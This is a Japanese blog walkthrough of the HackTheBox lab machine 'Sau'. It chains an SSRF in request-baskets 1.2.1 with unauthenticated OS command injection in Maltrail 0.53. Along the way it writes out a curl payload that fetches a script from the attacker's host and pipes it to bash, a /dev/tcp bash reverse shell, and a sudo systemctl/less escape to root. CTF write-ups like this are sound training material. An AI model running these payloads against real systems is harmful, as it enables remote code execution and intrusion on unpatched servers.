今回はHackTheBoxのEasyマシン「Sau」のWriteUpです!
名前からはどのようなマシンかよくわかりませんね。どのようなマシンなのでしょうか。
グラフはかなりEasyな感じですね。
これはサクッと攻略してしまいたいです。攻略目指して頑張ります!
HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Sau
侵入
それでは、攻略を開始しましょう!
まずは、ポートスキャンから実行していきます。
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.224 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp filtered http no-response
8338/tcp filtered unknown no-response
55555/tcp open unknown syn-ack ttl 63
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Wed, 12 Jul 2023 14:31:08 GMT
|_ Content-Length: 0
22番、55555番を確認できました。なぜかフィルターされている2つのポートがありますが、とりあえず放置しておきます。
55555番はWebのようなので、実際にアクセスしてみます。
どうやらBasketを作成できるサイトのようです。
よく見てみると、下の方にrequest-baskets
のバージョンが書かれています。バージョンは1.2.1
のようです。
SSRF
バージョンが見えたので、ネットでバージョンに対する脆弱性がないか試してみましょう。
興味深い記事を発見しました!
記事によると、SSRFの脆弱性が存在するようです。
同じページの中で、SSRFを発火させるための詳細な情報がまとめられたリンクが紹介されています。
どうやら、forward_url
というパラメータが脆弱であるようです。
このパラメータを悪用することで、ローカルサービスへのアクセスが可能になるようです。
ここで、nmapを実行した際に、80番がフィルターとして出力されていたことを思い出しました。
フィルターされている理由として、ローカルからのアクセスのみしか許可していない可能性があるので、パラメータで80番を指定してみましょう。
まずは、basketを作成します。サイト上でCreate
をクリックすると、トークンが表示されるので、Open Basket
を押下します。
作成できました。完了画面を見てみると、URLが表示されています。
パラメータが脆弱であるため、このhttp://<ip>/<basket>
にアクセスした際に、SSRFが発火されるようです。
では、forward_url
の値を変更していきます。右上の歯車のボタンを押下します。
Forward URLを入力する欄があります。ここに、http://127.0.0.1:80/
を入力していきます。
URLのほかに、Proxy Response
をチェックすることを忘れないようにしてください。
では、入力とチェックが完了したので、アクセスしてみましょう。
かなり体裁が崩れていますが、恐らく80番へのアクセスに成功しました!
Documentationなどのリンクがありますが、これらは全てGitHubへのリンクです。
他に情報がないか見てみると、先ほどのサイトと同じように、一番下にMaltrail
のバージョン0.53
が示されています。
OSコマンドインジェクション
では、こちらも同じように、脆弱性がないかGoogleで検索してみます。
すると、かなり興味深い記事を発見しました。
記事によると、0.54
以下のバージョンはOSコマンドインジェクションに脆弱であるようです!
同じページ内に、実行方法が紹介されています。記事内では、http://hostname:8338/login
へアクセスしているため、forward_urlにloginを追加する必要があります。
実行で使用するURLは、先ほどと同じようにhttp://<ip>/<basket>
に変更します。
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ curl 'http://10.10.11.224:55555/2i775md' \
--data 'username=;`ping -c 3 10.10.14.8`'
記事で紹介されていたように、usernameの後に実行したいコマンドを指定しています。
まずは、pingを実行し、脆弱であるかを試してみたいと思います。
実行する前に、待ち受けをスタートさせます。
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
待ち受けが完了したので、先ほどのcurlコマンドを実行します。
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ curl '10.10.11.224:55555/2i775md/' \
--data 'username=;`ping -c 3 10.10.14.8`'
Login failed
実行すると、ログイン失敗という表示がされます。
待ち受けを確認し、pingの通信が出力されていないか見てみましょう。
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
01:35:26.720178 IP 10.10.11.224 > 10.10.14.8: ICMP echo request, id 2, seq 1, length 64
01:35:26.720374 IP 10.10.14.8 > 10.10.11.224: ICMP echo reply, id 2, seq 1, length 64
01:35:27.722197 IP 10.10.11.224 > 10.10.14.8: ICMP echo request, id 2, seq 2, length 64
01:35:27.722230 IP 10.10.14.8 > 10.10.11.224: ICMP echo reply, id 2, seq 2, length 64
01:35:28.724439 IP 10.10.11.224 > 10.10.14.8: ICMP echo request, id 2, seq 3, length 64
01:35:28.724498 IP 10.10.14.8 > 10.10.11.224: ICMP echo reply, id 2, seq 3, length 64
通信が出力されています!
OSコマンドインジェクションが発火しました!
puma としてのシェル
発火することが分かったので、シェルを取得しましょう!
まずは、実行させたいBashのスクリプトファイルを作成します。
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ cat rev.sh
bash -c "bash -i >& /dev/tcp/10.10.14.8/5555 0>&1"
いつものように、bashによるリバースシェルの取得を目指します。
ターゲットから、このスクリプトファイルへアクセスさせ、bashで実行させたいと思います。
アクセス可能にするため、Webサーバを立ち上げておきます。
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Webサーバを立ち上げることができたので、リバースシェルを取得する待ち受けを開始します。
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ nc -lvnp 5555
listening on [any] 5555 ...
これで、準備万端です。
実行するコマンドは下記の通りです。
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ curl '10.10.11.224:55555/2i775md' \
--data 'username=;`curl http://10.10.14.8/rev.sh | bash`'
先ほど立ち上げたWebサーバへアクセスさせ、スクリプトファイルを読み込ませます。そしてそのスクリプトに対して、bashを実行させています。
このコマンドを実行することで、シェルが取得できるはずです。
それでは!実行してみましょう!
🐧+[~/Sau]
Ex9loit👾<10.10.14.8>$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.224] 57184
puma@sau:~$ whoami
puma
侵入成功です!
puma@sau:~$ ls -l
total 4
-rw-r----- 1 root puma 33 Jul 13 15:45 user.txt
ユーザフラグも取得できました!
権限昇格
それでは、権限昇格を目指していきましょう。
まずは、sudo -lを実行します。
puma@sau:/home$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
sudo -lにより、systemctl status trail.service
が実行可能であることがわかりました。
コマンドの最後に、serviceファイルが指定されていますが、正直これは関係ありません。どうやって権限昇格を行えばよいのか、Exploit Notesで調べてみると、まさに求めていた答えが提供されました。
Exploit Notesを見てみると、どうやら、lessを使用し!sh
を実行することで権限昇格ができるようです。
root としてのシェル
それでは、早速試してみましょう!
puma@sau:~$ less | sudo /usr/bin/systemctl status trail.service
Missing filename ("less --help" for help)
WARNING: terminal is not fully functional
- (press RETURN)
このように、lessとsystemctlを実行すると、入力を求められるので、!sh
を入力し、実行します。
puma@sau:~$ less | sudo /usr/bin/systemctl status trail.service
Missing filename ("less --help" for help)
WARNING: terminal is not fully functional
- (press RETURN)!sh
!sshh!sh
# whoami
whoami
root
権限昇格成功です!
# ls -l /root
total 8
drwxr-xr-x 4 root root 4096 Jun 19 09:41 go
-rw-r----- 1 root root 33 Jul 13 15:45 root.txt
ルートフラグも取得し、完全攻略達成です!お疲れ様でした!
攻略を終えて
とても面白いマシンでした。脆弱性は分かりやすいのですが、発火の方法には少し捻りがある感じが攻略していてとても楽しいなと感じました。
今回はバージョンに起因する脆弱性から権限昇格までつながりました。バージョン管理は運用者にとってもセキュリティエンジニアにとっても重要な問題です。運用状況とリスクを考え、適切な対応をしていく必要があります。実社会でも気をつけていきたいです。
今後もHackTheBoxのWriteUpを公開していきますので、みていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました!